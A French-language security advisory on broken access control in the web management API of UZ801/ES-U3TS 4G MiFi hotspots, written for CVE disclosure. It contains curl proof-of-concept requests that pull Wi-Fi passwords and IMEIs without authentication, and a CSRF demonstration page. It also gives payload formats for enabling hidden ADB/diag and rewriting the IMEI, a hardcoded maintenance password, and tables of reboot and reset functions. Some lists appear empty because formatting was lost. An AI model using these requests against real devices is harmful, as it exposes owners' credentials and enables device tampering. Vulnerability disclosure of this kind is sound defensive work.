
Avis de sécurité détaillant un contrôle d'accès défaillant dans l'API web MifiService des UZ801/ES-U3TS, permettant l'extraction de données non authentifiée, la modification de la configuration et le redémarrage de l'appareil. Inclut des PoC et des mesures d'atténuation.
Avis de sécurité et notes techniques concernant un problème de contrôle d'accès défaillant dans l'API de gestion web intégrée exposée par MifiService.apk sur la plateforme mobile Wi-Fi 4G LTE OEM / marque blanche UZ801_v2.1, également commercialisée sous le nom ES-U3TS.
Ce dépôt vise à soutenir une divulgation coordonnée et l'attribution d'un CVE. Il se concentre sur des preuves techniques reproductibles et non exploitées à des fins malveillantes.
L'appareil concerné expose un point de terminaison de gestion HTTP basé sur Jetty à l'adresse :
http://192.168.100.1/ajax
Le répartiteur de requêtes backend est implémenté dans :
com.mifiservice.server.AjaxSevlet
Bien que l'interface web présente une page de connexion, le backend n'impose pas de session authentifiée valide côté serveur pour la plupart des fonctions de gestion. Par conséquent, un attaquant sur le réseau adjacent peut directement invoquer des opérations sensibles funcNo sans authentification.
L'impact vérifié comprend :
Des fonctions supplémentaires à haut risque ont été confirmées par analyse statique, notamment :
Le matériel testé semble appartenir à une famille d'appareils OEM / marque blanche. Le fournisseur de développement d'origine exact est actuellement inconnu, et aucun contact de sécurité fiable du fournisseur n'a été identifié jusqu'à présent.
Cet avis utilise donc la dénomination de produit suivante :
UZ801_v2.1ES-U3TSUZ801-V3.4.3MifiService.apkcom.mifiservice.helloSi d'autres marques ou revendeurs sont identifiés comme distribuant le même firmware, la même APK, les mêmes ressources web et le même comportement funcNo, ils doivent être considérés comme des variantes probablement affectées du même code source.
/ajaxMifiService.apkcom.mifiservice.server.AjaxSevletIl ne s'agit pas principalement d'un problème d'identifiants par défaut.
La cause racine est un contrôle d'accès défaillant dans l'API backend :
Origin n'est présenteReferer n'est présenteLa fonction de connexion existe, mais elle ne fournit pas de limites d'autorisation significatives pour la majorité de l'API de gestion.
Vecteur d'attaque principal :
Vecteur d'attaque secondaire :
Il ne s'agit pas par défaut d'une attaque à distance exposée sur Internet. L'attaquant doit soit :
192.168.100.1, soitTous les résultats ci-dessous sont inclus comme fonctionnalités affectées du même problème de contrôle d'accès défaillant.
Lorsque cela est pertinent, chaque élément est explicitement marqué comme :
Validé en directConfirmé par analyse statiqueCette distinction est conservée pour des raisons de précision. Les fonctionnalités à haut risque ne sont pas présentées à tort comme testées en direct lorsqu'elles n'ont pas été intentionnellement exécutées sur du matériel public.
| funcNo | Description | Statut |
|---|
Au moment de la rédaction, l'appareil semble être vendu via des canaux OEM / revendeurs avec une marque incohérente ou absente, et aucun contact fiable avec le fournisseur de développement d'origine n'a été établi.
Les exemples ci-dessous sont intentionnellement limités à une validation en lecture seule ou à faible impact. Ils sont inclus pour démontrer la vulnérabilité sans fournir un flux d'exploitation armé.
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1002}' \
http://192.168.100.1/ajax
Comportement attendu :
ssidpwd en claircurl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1029}' \
http://192.168.100.1/ajax
Comportement attendu :
imeifwversionLecture de la langue actuelle :
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1030}' \
http://192.168.100.1/ajax
Définition de la langue :
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1031,"Language":"Chinese"}' \
http://192.168.100.1/ajax
Restaurer la valeur d'origine ensuite.
Ce point de terminaison n'impose pas d'état de session ni de validation Origin / Referer. Le navigateur d'une victime connectée peut donc être abusé pour envoyer des requêtes en arrière-plan.
Page de démonstration minimale :
<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({funcNo: 1002})
});
</script>
Cet exemple est intentionnellement limité à un numéro de fonction en lecture seule. Ne le déployez pas contre des utilisateurs ou des appareils de production.
Les formats JSON suivants sont documentés uniquement pour l'analyse défensive et le triage. Ils ne sont pas accompagnés ici d'étapes d'exécution.
2001 - activation des interfaces de débogage cachées{"funcNo":2001}
Comportement observé dans le code :
setprop persist.sys.usb.config rndis,serial_smd,diag,adbsync2004 - chemin de réécriture de l'IMEI{"funcNo":2004,"imei":"<redacted-test-value>"}
Comportement observé dans le code :
AT+WRIMEI=<value>Aucun test public en direct n'est inclus ici en raison de préoccupations juridiques, de conformité et d'intégrité de l'appareil.
1002{
"results": [
{
"dns1": "8.8.8.8",
"ssid": "4G-UFI-8E1",
"dns2": "8.8.8.8",
"mask": "255.255.255.0",
"pwd": "1234567890",
"wlan_ip": "192.168.100.1",
"IP": "192.168.100.1"
}
],
"error_info": "none",
"flag": "1"
}
1029{
"results": [
{
"manufacture": "Qualcomm Technology",
"dbm": "",
"fwversion": "V3.4.3",
"imei": "863993064154463"
}
],
"error_info": "none",
"flag": "1"
}
Ce problème est un candidat CVE solide car il est :
Classification suggérée :
CWE-306 Absence d'authentification pour une fonction critiqueCWE-862 Absence d'autorisationCVSS suggéré :
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2026-05-112026-05-122026-05-122026-05-12funcNo sensibles sans authentificationOrigin et RefererCe dépôt est destiné à la recherche défensive, à la divulgation de vulnérabilités et à la coordination. Les exemples publics sont intentionnellement limités à une validation à faible risque. Les fonctionnalités à haut risque sont documentées uniquement dans la mesure nécessaire à la remédiation et au triage CVE.
| funcNo | Description | Statut | Notes |
|---|
1002 | Lecture du SSID, de l'IP de l'appareil, du DNS, du mot de passe Wi-Fi | Validé en direct | Renvoie le mot de passe Wi-Fi en clair |
1009 | Lecture du mode de chiffrement Wi-Fi et du mot de passe | Validé en direct | Renvoie le mot de passe Wi-Fi en clair |
1011 | Lecture de la plage DHCP, du DNS, de la liste des clients | Validé en direct | Utile pour la reconnaissance locale |
1015 | Lecture de l'état de la carte SIM | Validé en direct | Renvoie l'état de la SIM |
1029 | Lecture de l'IMEI, du firmware, du fabricant, des informations de signal | Validé en direct | Renvoie l'identité sensible de l'appareil |
1052 | Lecture du mode de filtrage MAC et des entrées configurées | Validé en direct | Divulgue la politique et les emplacements configurés |
2002 | Lecture de l'emplacement SIM actif | Validé en direct | Expose l'état d'exécution |
| funcNo | Description | Statut | Notes |
|---|
1004 | Modification du mode de connexion | Confirmé statiquement | Aucune imposition de session observée |
1005 | Modification du mode réseau préféré | Confirmé statiquement | Impact opérationnel élevé |
1007 | Modification du SSID / nombre maximal de stations | Confirmé statiquement | Persiste la configuration et redémarre la logique AP |
1010 | Modification du mode de chiffrement Wi-Fi / mot de passe | Confirmé statiquement | Impact élevé sur la confidentialité |
1012 | Modification des paramètres liés au DHCP/DNS | Confirmé statiquement | Altération du réseau local |
1016/1017/1018 | Lecture / définition / basculement du profil APN | Confirmé statiquement | Modification du comportement WAN |
1031 | Modification de la langue et persistance | Validé en direct | Utilisé comme preuve d'accès en écriture à faible risque |
1053/1054/1055 | Modification du comportement et des entrées du filtrage MAC | Confirmé statiquement | Altération du contrôle d'accès réseau |
| funcNo | Description | Statut | Notes |
|---|
1013 | Redémarrage de l'appareil | Validé en direct | DoS / interruption de service |
1014 | Réinitialisation de la configuration application/réseau et redémarrage | Validé en direct | Pas d'effacement complet des données utilisateur Android |
2000 | Redémarrage vers le bootloader | Validé en direct | Impact opérationnel élevé |
2001 | Activation de la configuration USB cachée ADB/Diag et redémarrage | Confirmé statiquement | Chemin de maintenance dangereux |
| Notes |
|---|
2003 | Chemin de mot de passe de maintenance caché | Confirmé statiquement | Utilise le mot de passe codé en dur admin8888 ; le comportement semble partiel / résiduel |
2004 | Réécriture de l'IMEI | Confirmé statiquement | Appelle le chemin de commande AT ; non exécuté publiquement |